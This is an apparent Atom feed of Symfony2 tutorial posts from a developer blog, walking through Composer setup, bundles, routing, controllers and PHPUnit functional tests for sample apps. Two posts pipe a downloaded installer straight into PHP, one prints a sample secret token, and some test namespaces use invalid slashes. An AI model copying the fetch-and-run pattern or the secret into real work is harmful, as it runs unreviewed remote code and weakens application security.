namespace Fortune\ApplicationBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;

class QuoteController extends Controller
{
    public function submitAction(Request $request)
    {
        $postedContent = $request-&gt;getContent();
        $postedValues = json_decode($postedContent, true);

        if (empty($postedValues['content'])) {
            $answer = array('message' =&gt; 'Missing required parameter: content');

            return new JsonResponse($answer, Response::HTTP_UNPROCESSABLE_ENTITY);
        }
        $answer['quote']['content'] = $postedValues['content'];

        return new JsonResponse($answer, Response::HTTP_CREATED);
    }
}
</code></pre>

<p>Finally run the tests:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>All green! Let's call it a day and commit our work:</p>

<pre><code>git add -A
git commit -m 'Managed submission of empty/no quotes'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>For those who didn't practice a lot with Symfony2, this article should have
demonstrated how quick and simple it is to implement the first User Story
(test and code alike).</p>

<p>In the next article, we'll learn how to work with services.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Master Symfony2 - part 1: Bootstraping]]></title>
            <link href="/2014/08/05/master-sf2-part-1-bootstraping.html"/>
            <updated>2014-08-05T00:00:00+01:00</updated>
            <id>/2014/08/05/master-sf2-part-1-bootstraping.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>You know the basics of the <a href="http://symfony.com/">Symfony2</a> framework
(<a href="https://getcomposer.org/">Composer</a>, empty application, bundle, controller and
functional test with <a href="http://phpunit.de/">PHPUnit</a>) and you want to learn more
about how to extend it (and understanding what you're doing)?</p>

<p>Then this series of articles is for you :) .</p>

<p>If you don't feel confident about the prerequisites, have a look at
<a href="/2014/06/18/learn-sf2-composer-part-1.html">the Learn Symfony2 series</a>.
Don't worry, we'll start with a bit of practicing before starting to learn
anything new.</p>

<p>In the first article of this series, we'll discover our cutomer's needs and
we'll bootstrap our application.</p>

<h2 id="our-use-case%3A-creating-a-fortune-application">Our use case: creating a Fortune application</h2>

<p>In order to have real world examples, we'll need a use case. The Knight of Ni
were pretty satisfied with our previous work, and they recommended us to
Nostradamus!</p>

<p>Nostradamus is a fortune teller and wants to jump on the internet bandwagon. He
wants us to create a
<a href="http://en.wikipedia.org/wiki/Fortune_%28Unix%29">fortune application</a>
where users can submit quotes.</p>

<p>Our first task will be to create an empty application so we can start working.
We could use the <a href="http://symfony.com/distributions">Symfony Standard Edition</a>,
but in order to understand what really happens behind the scene we'll use an
emptier distribution.</p>

<h2 id="installing-symfony2-emptier-edition">Installing Symfony2 Emptier Edition</h2>

<p>First make sure to have the last version of <a href="https://getcomposer.org/">Composer</a>
installed:</p>

<pre><code>curl -sS https://getcomposer.org/installer | php
sudo mv composer.phar /usr/local/bin/composer
</code></pre>

<p>Then ask Composer to create the boilerplate of our application, using the
<a href="https://github.com/gnugat/sf2-emptier">Symfony2 Emptier Edition</a>:</p>

<pre><code>composer create-project 'gnugat/sf2-emptier' fortune '0.1.*'
cd fortune
</code></pre>

<p>This distribution is similar to the empty application we created in the
<a href="/2014/06/25/learn-sf2-empty-app-part-2.html">learn Symfony2 series</a>.
It contains the following files:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   ├── config_prod.yml
│   │   ├── config_test.yml
│   │   ├── config.yml
│   │   ├── parameters.yml.dist
│   │   └── routing.yml
│   ├── logs
│   │   └── .gitkeep
│   └── phpunit.xml.dist
├── composer.json
├── LICENSE
├── README.md
└── web
    └── app.php
</code></pre>

<p>Remove the documentation files:</p>

<pre><code>rm README.md LICENSE
</code></pre>

<p>Change the <code>composer.json</code> information:</p>

<pre><code>{
    "name": "nostradamus/fortune",
    "license": "proprietary",
    "type": "project",
    "description": "A collection of quotes",
    "autoload": {
        "psr-4": { "": "src/" }
    },
    "require": {
        "php": "&gt;=5.3.17",

        "symfony/symfony": "~2.4"
    },
    "require-dev": {
        "phpunit/phpunit": "~4.1"
    }
}
</code></pre>

<p>Next you'll have to configure the project specific parameters:</p>

<pre><code>cp app/config/parameters.yml.dist app/config/parameters.yml
</code></pre>

<p>Don't forget to edit <code>app/config/parameters.yml</code> and change the value of the
secret parameter:</p>

<pre><code>parameters:
    secret: hazuZRqYGdRrL8ATdB8kAqBZ
</code></pre>

<p><strong>Tip</strong>: Use <a href="https://www.random.org/passwords/?num=1&amp;len=24&amp;format=html&amp;rnd=new">random.org</a>
to generate your secret token.</p>

<p><strong>Note</strong>: For security reason, this parameter file is ignored by git. It means
that this file should be created on each installation.</p>

<p>Let's commit our hard work:</p>

<pre><code>git init
git add -A
git add -f app/logs/.gitkeep app/cache/.gitkeep
git commit -m 'Created a Symfony2 Emptier application'
</code></pre>

<h2 id="creating-the-application-bundle">Creating the Application Bundle</h2>

<p>We will also need an Application bundle. First we create the directories:</p>

<pre><code>mkdir -p src/Fortune/ApplicationBundle
</code></pre>

<p>Then the Bundle class:</p>

<pre><code>&lt;?php
// File: src/Fortune/ApplicationBundle/FortuneApplicationBundle.php

namespace Fortune\ApplicationBundle;

use Symfony\Component\HttpKernel\Bundle\Bundle;

class FortuneApplicationBundle extends Bundle
{
}
</code></pre>

<p>And finally register it in the application's kernel:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Fortune\ApplicationBundle\FortuneApplicationBundle(), // &lt;-- Here!
        );
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load(__DIR__.'/config/config_'.$this-&gt;getEnvironment().'.yml');
    }
}
</code></pre>

<p>We're now ready to get started with our real concern, so let's commit our work:</p>

<pre><code>git add -A
git commit -m 'Created ApplicationBundle'
</code></pre>

<h3 id="apache-configuration">Apache configuration</h3>

<p>In order for your website to be browsed, you'll need to configure your web
server. This configuration is well explained
<a href="http://symfony.com/doc/current/cookbook/configuration/web_server_configuration.html">in the documentation</a>,
so here's a dump of an apache vhost:</p>

<pre><code>&lt;VirtualHost *:80&gt;
    ServerName fortune.local

    DocumentRoot /home/loic.chardonnet/Projects/gnugat/fortune/web

    ErrorLog "/home/loic.chardonnet/Projects/gnugat/fortune/app/logs/apache_errors.log"
    CustomLog "/home/loic.chardonnet/Projects/gnugat/fortune/app/logs/apache_accesses.log" common

    &lt;Directory /home/loic.chardonnet/Projects/gnugat/fortune/web&gt;
        Options Indexes FollowSymLinks MultiViews
        AllowOverride None
        Order allow,deny
        allow from all
        &lt;IfModule mod_rewrite.c&gt;
            RewriteEngine On
            RewriteCond %{REQUEST_FILENAME} !-f
            RewriteRule ^(.*)$ /app.php [QSA,L]
        &lt;/IfModule&gt;
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;
</code></pre>

<p>If you run into some permission problem (like writing in <code>cache</code> and <code>logs</code>),
you might consider to change <code>APACHE_RUN_USER</code> and <code>APACHE_RUN_GROUP</code>
environment variables present in <code>/etc/apache2/envvars</code> to your own user and
group.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Using Composer's <code>create-project</code> command with a Symfony2 Distribution is the
quickest way to bootstrap a project.</p>

<p>In the next article, we will start to work on our first User Story.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Learn Symfony2 - Conclusion]]></title>
            <link href="/2014/07/23/learn-sf2-conclusion.html"/>
            <updated>2014-07-23T00:00:00+01:00</updated>
            <id>/2014/07/23/learn-sf2-conclusion.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the conclusion of the series on learning
<a href="http://symfony.com/">the Symfony2 framework</a>.
Have a look at the five first ones:</p>

<ol>
<li><a href="/2014/06/18/learn-sf2-composer-part-1.html">Composer</a></li>
<li><a href="/2014/06/25/learn-sf2-empty-app-part-2.html">Empty application</a></li>
<li><a href="/2014/07/02/learn-sf2-bundles-part-3.html">Bundles</a></li>
<li><a href="/2014/07/12/learn-sf2-controllers-part-4.html">Controllers</a></li>
<li><a href="/2014/07/20/learn-sf2-tests-part-5.html">Tests</a></li>
</ol>

<p>In the previous articles we created a tested application for the Knight of Ni
with the following files:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   ├── config_test.yml
│   │   ├── config.yml
│   │   └── routing.yml
│   ├── logs
│   │   └── .gitkeep
│   └── phpunit.xml.dist
├── composer.json
├── composer.lock
├── src
│   └── Knight
│       └── ApplicationBundle
│           ├── Controller
│           │   └── ApiController.php
│           ├── KnightApplicationBundle.php
│           └── Tests
│               └── Controller
│                   └── ApiControllerTest.php
├── .gitignore
└── web
    └── app.php
</code></pre>

<p>Running <code>composer install</code> should create a <code>vendor</code> directory, which we ignored
with git.</p>

<p>Here's the <a href="https://github.com/gnugat/learning-symfony2/tree/5-tests">repository where you can find the actual code</a>.</p>

<p>This article will be like a cheat sheet of what we saw in the previous ones.</p>

<h2 id="composer">Composer</h2>

<p><a href="https://getcomposer.org/">Composer</a> will help you install and update third
party libraries.</p>

<p>Download it once for all and install it in your global binaries:</p>

<pre><code>curl -sS https://getcomposer.org/installer | php
sudo mv ./composer.phar /usr/local/bin/composer
</code></pre>

<p>It should then be executable like this: <code>composer</code>.</p>

<ul>
<li>install a third party library: <code>composer require [--dev] &lt;vendor/name:version&gt;</code></li>
<li>download the project's third party libraries: <code>composer install</code></li>
<li>update the project's third party libraries: <code>composer update</code></li>
</ul>

<p>The available third party libraries can be found on
<a href="https://packagist.org/">Packagist</a>.</p>

<p>Here's an explanation of <a href="https://igor.io/2013/01/07/composer-versioning.html">Composer version constraints by Igor</a>.</p>

<p>In these articles, we create a project from scratch, but the recommended way of
starting a Symfony2 application is to use the Composer bootstrap command:
<code>composer create-project &lt;vendor/name&gt; &lt;path-to-install&gt;</code></p>

<p>You could use the <a href="https://github.com/symfony/symfony-standard">Symfony Standard Edition</a>
(<code>symfony/framework-standard-edition</code>), or any other distribution.</p>

<p>I'd advise you to use an empty boilerplate with the
<a href="https://github.com/gnugat/symfony-empty">Symfony Empty Edition</a>:</p>

<pre><code>composer create-project gnugat/symfony-framework-empty-edition &lt;path-to-install&gt;
</code></pre>

<p><em>Tip</em>: For the production server, use this command to install the project's
dependencies (the third party libraries):</p>

<pre><code>composer install --no-dev --optimize
</code></pre>

<h2 id="bundles">Bundles</h2>

<p>They integrate your code with the framework. More specifically, they configure
the Kernel's dependency injection container.</p>

<p><em>Note</em>: To learn more about Dependency Injection, have a look at the following
articles:</p>

<ul>
<li><a href="/2014/01/22/ioc-di-and-service-locator.html">Inversion of Control, Dependency Injection, Dependency Injection Container and Service Locator</a></li>
<li><a href="/2014/01/29/sf2-di-component-by-example.html">Symfony2 Dependency Injection component, by example</a></li>
</ul>

<p>The only bundle you'll need to create is the <code>ApplicationBundle</code>, where all your
code will be. Here's how to create a bundle:</p>

<ol>
<li>create its directory: <code>mkdir -p src/&lt;Vendor&gt;/&lt;Name&gt;Bundle</code></li>
<li>create its class: <code>$EDITOR src/&lt;Vendor&gt;/&lt;Name&gt;Bundle/&lt;Vendor&gt;&lt;Name&gt;Bundle.php</code></li>
<li>register it in the kernel: <code>$EDITOR app/AppKernel.php</code></li>
</ol>

<p>A Bundle class looks like this:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/KnightApplicationBundle.php

namespace Knight\ApplicationBundle;

use Symfony\Component\HttpKernel\Bundle\Bundle;

class KnightApplicationBundle extends Bundle
{
}
</code></pre>

<h2 id="application">Application</h2>

<p>In your application, there's only a few files related to the Symfony2 framework.
Here's the list of the ones you'll usually edit.</p>

<h3 id="the-application%27s-kernel">The application's kernel</h3>

<p>The <code>app/AppKernel.php</code> file is where the bundles are registered and where the
configuration is loaded. You'll only need to edit it when you install a new
bundle.</p>

<p>Here's how we would proceed: first install the bundle via Composer:</p>

<pre><code>composer require [--dev] &lt;vendor/name:version&gt;
</code></pre>

<p>Then register it in the application's kernel:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        $bundles = array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Symfony\Bundle\SecurityBundle\SecurityBundle(),
            new Symfony\Bundle\TwigBundle\TwigBundle(),
            new Symfony\Bundle\MonologBundle\MonologBundle(),
            new Symfony\Bundle\AsseticBundle\AsseticBundle(),
            new Doctrine\Bundle\DoctrineBundle\DoctrineBundle(),
            new Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle(),

            // Add your bundles here!
        );

        if (in_array($this-&gt;getEnvironment(), array('dev', 'test'))) {
            $bundles[] = new Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
            $bundles[] = new Sensio\Bundle\DistributionBundle\SensioDistributionBundle();
            $bundles[] = new Sensio\Bundle\GeneratorBundle\SensioGeneratorBundle();

            // Or here, if you want it to only be available in dev or test environment
        }

        return $bundles;
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load(__DIR__.'/config/config_'.$this-&gt;getEnvironment().'.yml');
    }
}
</code></pre>

<h3 id="the-routing-configuration">The routing configuration</h3>

<p>The <code>app/config/routing.yml</code> file is where you will link a controller's action
to an URL. Here's an example:</p>

<pre><code># File: app/config/routing.yml
ni:
    path: /api/ni
    methods:
        - POST
    defaults:
        _controller: KnightApplicationBundle:Api:ni

question_to_cross_the_bridge:
    path: /api/question/{number}
    methods:
        - GET
    defaults:
        _controller: KnightApplicationBundle:Api:question
</code></pre>

<p>As you can see, you can tell the routing to use placeholders, which will be then
available in the controller via the Request object:</p>

<pre><code>$request-&gt;query-&gt;get('number'); // query is an instance of ParameterBag
</code></pre>

<h3 id="controllers%2C-your-entry-point">Controllers, your entry point</h3>

<p>Each route is associated to a controller's action.</p>

<p>A controller is a class located in <code>src/&lt;Vendor&gt;/ApplicationBundle/Controller</code>,
suffixed with <code>Controller</code>.</p>

<p>An action is a controller's public method, suffixed with <code>Action</code>, which takes
a <code>Request $request</code> parameter and must return an instance of the <code>Response</code>
object:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/Controller/ApiController.php

namespace Knight\ApplicationBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;

class ApiController extends Controller
{
    public function niAction(Request $request)
    {
        $postedContent = $request-&gt;getContent();
        $postedValues = json_decode($postedContent, true);

        $answer = array('answer' =&gt; 'Ecky-ecky-ecky-ecky-pikang-zoop-boing-goodem-zoo-owli-zhiv');
        $statusCode = Response::HTTP_OK;
        if (!isset($postedValues['offering']) || 'shrubbery' !== $postedValues['offering']) {
            $answer['answer'] = 'Ni';
            $statusCode = Response::HTTP_UNPROCESSABLE_ENTITY;
        }

        return new JsonResponse($answer, $statusCode);
    }
}
</code></pre>

<p><em>Note</em>: you can create sub-directories in <code>src/&lt;Vendor&gt;/ApplicationBundle/Controller</code>,
allowing you to categorize your controllers. In the routing, this would look
like this: <code>KnightApplicationBundle:Subdirectory\Controller:action</code>.</p>

<h3 id="functional-tests">Functional tests</h3>

<p>Of course you can use any test framework with a Symfony2 project. PHPUnit is one
of them, and a popular one, so we'll use it for our examples.</p>

<p>Functional tests mirror the controllers and check if the status code is
successful. If you're building an API, you can check more precisely the status
code:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/Tests/Controller/ApiControllerTest.php

namespace Knight\ApplicationBundle\Tests\Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use Symfony\Component\HttpFoundation\Response;

class ApiControllerTest extends WebTestCase
{
    private function post($uri, array $data)
    {
        $content = json_encode($data);
        $client = static::createClient();
        $client-&gt;request('POST', $uri, array(), array(), array(), $content);

        return $client-&gt;getResponse();
    }

    public function testOfferingTheRightThing()
    {
        $response = $this-&gt;post('/api/ni', array('offering' =&gt; 'shrubbery'));

        $this-&gt;assertSame(Response::HTTP_OK , $response-&gt;getStatusCode());
    }

    public function testOfferingTheWrongThing()
    {
        $response = $this-&gt;post('/api/ni', array('offering' =&gt; 'hareng'));

        $this-&gt;assertSame(Response::HTTP_UNPROCESSABLE_ENTITY , $response-&gt;getStatusCode());
    }
}
</code></pre>

<p>The <code>WebTestCase</code> class is provided by the framework: it creates an application
(just like we do in <code>web/app.php</code>), so you can send requests and test the
response.</p>

<h3 id="where-to-put-your-own-code">Where to put your own code</h3>

<p>You can put your code anywhere in <code>src/&lt;Vendor&gt;/ApplicationBundle</code>.</p>

<p>Who said you needed to decouple your code from Symfony2? You can already write
decoupled code!</p>

<p>A convention is to create directories named after the type of objects it holds.
For example the <code>Controller</code> contains controller classes (which are suffixed
with <code>Controller</code>). You don't have to follow it though (except for controllers
and commands): use your best judgement!</p>

<h2 id="conclusion">Conclusion</h2>

<p>Symfony2 gets out of your way, the only class from the framework we need to use
is the controller, the request and the response.</p>

<p>The workflow is really simple:</p>

<ol>
<li>Symfony2 converts the HTTP request into a <code>Request</code> object</li>
<li>the routing allows to execute a controller related to the current URL</li>
<li>the controller receives the <code>Request</code> object as a parameter and must return a
<code>Response</code> object</li>
<li>Symfony2 converts the <code>Response</code> object into the HTTP response</li>
</ol>

<h3 id="what-should-we-do-now%3F">What should we do now?</h3>

<p>Practice.</p>

<p>We now know the strict minimum about Symfony2, and the only way to learn more is
to practice, encounter new use cases, find answers in the
<a href="http://symfony.com/doc/current/index.html">documentation</a> and ask questions on
<a href="http://stackoverflow.com/questions/tagged/symfony2">StackOverflow</a> (if they
haven't been already asked).</p>

<p>If you really want to master Symfony2, then stay tuned: I'll start writing a new
series of articles!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Learn Symfony2 - part 5: Tests]]></title>
            <link href="/2014/07/20/learn-sf2-tests-part-5.html"/>
            <updated>2014-07-20T00:00:00+01:00</updated>
            <id>/2014/07/20/learn-sf2-tests-part-5.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the fifth article of the series on learning
<a href="http://symfony.com/">the Symfony2 framework</a>.
Have a look at the four first ones:</p>

<ol>
<li><a href="/2014/06/18/learn-sf2-composer-part-1.html">Composer</a></li>
<li><a href="/2014/06/25/learn-sf2-empty-app-part-2.html">Empty application</a></li>
<li><a href="/2014/07/02/learn-sf2-bundles-part-3.html">Bundles</a></li>
<li><a href="/2014/07/12/learn-sf2-controllers-part-4.html">Controllers</a></li>
</ol>

<p>In the previous articles we created an application for the Knight of Ni with the
following files:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   ├── config.yml
│   │   └── routing.yml
│   └── logs
│       └── .gitkeep
├── composer.json
├── composer.lock
├── src
│   └── Knight
│       └── ApplicationBundle
│           ├── Controller
│           │   └── ApiController.php
│           └── KnightApplicationBundle.php
├── .gitignore
└── web
    └── app.php
</code></pre>

<p>Running <code>composer install</code> should create a <code>vendor</code> directory, which we ignored
with git.</p>

<p>Here's the <a href="https://github.com/gnugat/learning-symfony2/tree/4-controllers">repository where you can find the actual code</a>.</p>

<p>In this article, we'll create functional tests using PHPUnit.</p>

<h2 id="installing-phpunit">Installing PHPUnit</h2>

<p><a href="http://phpunit.de/">PHPUnit</a> is a popular test framework.
Its name is deceptive: you can write any kind of test with it (unit, functional,
end to end, anything).</p>

<p>Let's install it in our project:</p>

<pre><code>composer require --dev "phpunit/phpunit:~4.1"
</code></pre>

<p>The <code>--dev</code> options will prevent Composer from installing PHPUnit when running
<code>composer install --no-dev</code>: this is use in production (download is costly).</p>

<p>We will need to create a configuration file to tell PHPUnit to execute the tests
found in <code>src/Knight/ApplicationBundle/Tests</code>, and to use Composer as an
autoloader:</p>

<pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!-- File: app/phpunit.xml.dist --&gt;

&lt;!-- http://phpunit.de/manual/current/en/appendixes.configuration.html --&gt;
&lt;phpunit
    backupGlobals="false"
    colors="true"
    syntaxCheck="false"
    bootstrap="../vendor/autoload.php"&gt;

    &lt;testsuites&gt;
        &lt;testsuite name="Functional Test Suite"&gt;
            &lt;directory&gt;../src/Knight/ApplicationBundle/Tests&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;

&lt;/phpunit&gt;
</code></pre>

<p><em>Note</em>: <a href="http://symfony.com/doc/current/cookbook/bundles/best_practices.html#directory-structure">By convention</a>
you should put your tests in <code>src/Knight/ApplicationBundle/Tests</code>. It's not hard
coded though, but if you want people to find things where they expect them to be
you better follow them ;) .</p>

<p>This file is suffixed with <code>.dist</code> because we intend to allow developer to
override the configuration by creating a <code>app/phpunit.xml</code> file. Only the
distribution file should be commited, though:</p>

<pre><code>echo '/app/phpunit.xml' &gt;&gt; .gitignore
git add -A
git commit -m 'Installed PHPUnit'
</code></pre>

<h2 id="environments">Environments</h2>

<p>For our functional tests, we will be using the <code>WebTestCase</code> class: it
instanciates our <code>AppKernel</code> with the <code>test</code> environment. It also uses a
<code>test.client</code> service, which is disabled by default.</p>

<p>In order to enable this service, we must change the configuration:</p>

<pre><code># File: app/config/config.yml
framework:
    secret: "Three can keep a secret, if two of them are dead."
    router:
        resource: %kernel.root_dir%/config/routing.yml

    # test: ~
</code></pre>

<p>Sometimes, you don't want your configuration to be the same for your tests and
your production server. That's what environments are for. Let's put this test
specific configuration in a different file:</p>

<pre><code># File: app/config/config_test.yml
imports:
    - { resource: config.yml }

framework:
    test: ~
</code></pre>

<p><em>Note</em>: the <code>imports</code> parameter allows you to include other configuration files.
You can then overwrite the included parameters, or add new ones.</p>

<p>We should also change the <code>registerContainerConfiguration</code> method of the
<code>AppKernel</code> class in order to load the test configuration, depending on the
environment:</p>

<pre><code>&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Knight\ApplicationBundle\KnightApplicationBundle(),
        );
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $file = 'config';
        if ('test' === $this-&gt;getEnvironment()) {
            $file .= '_test';
        }
        $loader-&gt;load(__DIR__."/config/$file.yml");
    }
}
</code></pre>

<p>Let's commit our work:</p>

<pre><code>git add -A
git commit -m 'Added test configuration'
</code></pre>

<h2 id="functional-tests">Functional tests</h2>

<p>Our test must check that the application behaves as expected. We won't be
checking that it actually fulfills our business expectations. This means that
checking the HTTP status code is entirely sufficient.</p>

<p>Let's create the directory:</p>

<pre><code>mkdir -p src/Knight/ApplicationBundle/Tests/Controller
</code></pre>

<p><em>Note</em>: Again, <a href="http://symfony.com/doc/current/book/testing.html#unit-tests">by convention</a>,
your test directory structure must mirror the one found in the bundle.</p>

<p>And then our first functional test:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/Tests/Controller/ApiControllerTest.php

namespace Knight/ApplicationBundle/Tests/Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;

class ApiControllerTest extends WebTestCase
{
    public function testOfferingTheRightThing()
    {
        $method = 'POST';
        $uri = '/api/ni';
        $parameters = array();
        $files = array();
        $server = array();
        $content = json_encode(array(
            'offering' =&gt; 'shrubbery',
        ));

        $client = static::createClient();
        $client-&gt;request($method, $uri, $parameters, $files, $server, $content);
        $response = $client-&gt;getResponse();

        $this-&gt;assertTrue($response-&gt;isSuccessful());
    }
}
</code></pre>

<p>To make sure the test pass, run the following command:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>Composer has installed a binary in <code>vendor/bin</code>, and the <code>-c</code> option allows you
to tell PHPUnit where the configuration is (in <code>./app</code>).</p>

<p>This looks a bit long because of the content parameter... We can improve this
with helper methods:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/Tests/Controller/ApiControllerTest.php

namespace Knight/ApplicationBundle/Tests/Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;

class ApiControllerTest extends WebTestCase
{
    private function post($uri, array $data)
    {
        $content = json_encode($data);
        $client = static::createClient();
        $client-&gt;request('POST', $uri, array(), array(), array(), $content);

        return $client-&gt;getResponse();
    }

    public function testOfferingTheRightThing()
    {
        $response = $this-&gt;post('/api/ni', array('offering' =&gt; 'shrubbery'));

        $this-&gt;assertTrue($response-&gt;isSuccessful());
    }
}
</code></pre>

<p>Make sure the test still pass:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>The Response's <code>isSuccessful</code> method only checks that the status code is 200ish.</p>

<p>Here's a test for failure cases:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/Tests/Controller/ApiControllerTest.php

namespace Knight/ApplicationBundle/Tests/Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;

class ApiControllerTest extends WebTestCase
{
    private function post($uri, array $data)
    {
        $content = json_encode($data);
        $client = static::createClient();
        $client-&gt;request('POST', $uri, array(), array(), array(), $content);

        return $client-&gt;getResponse();
    }

    public function testOfferingTheRightThing()
    {
        $response = $this-&gt;post('/api/ni', array('offering' =&gt; 'shrubbery'));

        $this-&gt;assertTrue($response-&gt;isSuccessful());
    }

    public function testOfferingTheWrongThing()
    {
        $response = $this-&gt;post('/api/ni', array('offering' =&gt; 'hareng'));

        $this-&gt;assertFalse($response-&gt;isSuccessful());
    }
}
</code></pre>

<p>Run the tests:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p><em>Note</em>: At this point running the tests should become a habit. Make sure to run
them whenever you finish a change, and to run them before commiting anything.</p>

<h2 id="rest-api-functional-tests">Rest API functional tests</h2>

<p>In my humble opinion, checking if the status code is 200ish and not checking the
response content is entirely sufficient for functional tests.</p>

<p>When creating REST API, it can prove useful to test more precisely the status
code. Our application is a REST API, so let's do this:</p>

<pre><code>&lt;?php
// File: src/Knight/ApplicationBundle/Tests/Controller/ApiControllerTest.php

namespace Knight/ApplicationBundle/Tests/Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use Symfony\Component\HttpFoundation\Response;

class ApiControllerTest extends WebTestCase
{
    private function post($uri, array $data)
    {
        $content = json_encode($data);
        $client = static::createClient();
        $client-&gt;request('POST', $uri, array(), array(), array(), $content);

        return $client-&gt;getResponse();
    }

    public function testOfferingTheRightThing()
    {
        $response = $this-&gt;post('/api/ni', array('offering' =&gt; 'shrubbery'));

        $this-&gt;assertSame(Response::HTTP_OK , $response-&gt;getStatusCode());
    }

    public function testOfferingTheWrongThing()
    {
        $response = $this-&gt;post('/api/ni', array('offering' =&gt; 'hareng'));

        $this-&gt;assertSame(Response::HTTP_UNPROCESSABLE_ENTITY , $response-&gt;getStatusCode());
    }
}
</code></pre>

<p>Run the tests:</p>

<pre><code>./vendor/bin/phpunit -c app
</code></pre>

<p>All green! That's comforting enough for us to commit our work and call it a day!</p>

<pre><code>git add -A
git commit -m 'Added tests'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Running <code>./vendor/bin/phpunit -c app</code> is less cumbersome than having to run
manually HTTPie (like in the previous article)!</p>

<p>Writing functional tests is easy and quick, the only thing you need to do is
check if the HTTP response's status code is successful (and for REST API you
need to check the precise HTTP response's status code).</p>

<p>The next article will be the conclusion of this series, I hope you enjoyed it!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Learn Symfony2 - part 4: Controllers]]></title>
            <link href="/2014/07/12/learn-sf2-controllers-part-4.html"/>
            <updated>2014-07-12T00:00:00+01:00</updated>
            <id>/2014/07/12/learn-sf2-controllers-part-4.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the fourth article of the series on learning
<a href="http://symfony.com/">the Symfony2 framework</a>.
Have a look at the three first ones:</p>

<ol>
<li><a href="/2014/06/18/learn-sf2-composer-part-1.html">Composer</a></li>
<li><a href="/2014/06/25/learn-sf2-empty-app-part-2.html">Empty application</a></li>
<li><a href="/2014/07/02/learn-sf2-bundles-part-3.html">Bundles</a></li>
</ol>

<p>In the previous articles we created a one-bundled empty application with the
following files:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── cache
│   │   └── .gitkeep
│   ├── config
│   │   └── config.yml
│   └── logs
│       └── .gitkeep
├── composer.json
├── composer.lock
├── src
│   └── Knight
│       └── ApplicationBundle
│           └── KnightApplicationBundle.php
├── .gitignore
└── web
    └── app.php
</code></pre>

<p>Running <code>composer install</code> should create a <code>vendor</code> directory, which we ignored
with git.</p>

<p>Here's the <a href="https://github.com/gnugat/learning-symfony2/releases/tag/3-bundles">repository where you can find the actual code</a>.</p>

<p>In this article, we'll learn more about the routing and the controllers.</p>

<h2 id="discovering-routing-and-controller">Discovering routing and controller</h2>

